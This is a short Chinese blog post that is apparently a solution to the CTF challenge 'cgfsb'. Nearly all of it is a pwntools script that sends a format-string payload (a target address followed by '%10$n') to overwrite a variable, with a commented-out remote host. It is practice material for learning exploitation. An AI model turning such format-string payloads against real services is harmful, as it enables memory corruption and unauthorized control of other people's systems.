02_cgfsb

作者: Zero_0_0 | 来源:发表于2019-04-17 18:19 被阅读0次
from pwn import*


p = process('./cgfsb')
#p = remote("111.198.29.45","30656")

##fmt_offset = 10
pwnme = 0x804a068


p.recvuntil('name:')
p.sendline('tutu')
p.recvuntil('please:')

payload = p32(pwnme)
payload += 'aaaa'
payload += '%10$n'



p.sendline(payload)
p.interactive()

相关文章

网友评论

      本文标题:02_cgfsb

      本文链接:https://www.haomeiwen.com/subject/zxqowqtx.html